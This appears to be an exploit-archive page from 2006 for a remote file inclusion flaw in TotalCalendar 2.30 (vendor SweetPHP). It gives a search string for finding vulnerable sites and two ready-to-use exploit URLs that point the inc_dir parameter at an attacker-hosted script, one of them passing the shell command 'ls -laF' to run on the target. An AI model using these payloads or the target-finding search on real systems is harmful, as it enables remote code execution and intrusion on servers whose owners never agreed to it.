[Exploit] [Remote] [Local] [Web Apps] [Dos/Poc] [Shellcode] [RSS]
# Title : TotalCalendar <= 2.30 (inc) Remote File Include Vulnerability
# Published : 2006-05-05
# Author : Aesthetico
# Previous Title : Sphider <= 1.3 (configset.php) Arbitrary Remote Inclusion Exploit
# Next Title : StatIt v4 (statitpath) Remote File Inclusion Exploit
Title: TotalCalendar <=2.30 - Remote File Include Vulnerability
-----------------------------------------------------------------
Vendor: SweetPHP
URL: http://sweetphp.com
-----------------------------------------------------------------
Credits:
Discovered by: 'Aesthetico'
http://www.majorsecurity.de
-----------------------------------------------------------------
Search for: "Powered by TotalCalendar"
-----------------------------------------------------------------
Exploitation:
/index.php?inc_dir=http://www.yourspace.com/yourscript.php?
/index.php?inc_dir=http://www.yourspace.com/yourscript.txt?&ls%20-laF
# www.Syue.com [2006-05-05]